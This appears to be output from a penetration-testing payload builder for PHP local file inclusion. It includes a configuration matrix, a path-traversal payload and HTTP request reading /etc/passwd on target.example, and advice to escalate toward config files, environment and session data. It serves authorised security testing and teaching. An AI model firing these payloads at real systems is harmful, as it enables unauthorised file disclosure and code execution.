Payload Builder

Every combination below builds, including the ones that cannot work — a payload you watch fail tells you which control is in the way. Impossible pairings are downgraded and explained rather than hidden, and the verdict is always per configuration, never a single yes or no.

This sink executes what it loads. A successful payload is code execution.

Arbitrary file read. A canary, not an impact — do not stop here.

Defeats: Not knowing the depth. Extra ../ at the root is a no-op on every POSIX kernel.

A bare filesystem path. Works anywhere the sink accepts one.

The host defaults to an RFC 2606 reserved name. Point it at your own listener for a real engagement — never at a third party.

Does the inclusion fire?

allow_url_include=On
Fires
PHP 8 default
Fires
allow_url_fopen=Off
Fires
open_basedir + allowlist
Blocked

Fires everywhere except open_basedir + allowlist.

PayloadParameter value
../../../../../../../../etc/passwd
HTTPRequest
GET /index.php?page=../../../../../../../../etc/passwd HTTP/1.1
Host: target.example
PHP include() / require() reached via No wrapper — plain path. Encoding chosen to defeat: Not knowing the depth. Extra ../ at the root is a no-op on every POSIX kernel. The sink executes what it loads. A successful read proves: Arbitrary file read. A canary, not an impact — do not stop here.

Read the guide for No wrapper — plain path →

Before you report it

  • Name the configuration."RFI on the login page" is not a finding if it only fires with allow_url_include=On. Say which column above you were in.
  • Say whether the sink executes. A traversal into file_get_contents is disclosure. The same traversal into include is RCE. They are not the same severity and they are not the same fix.
  • Reading /etc/passwd proves the bug, not the impact. Go on to the config file, the environment, or the session directory — see Methodology.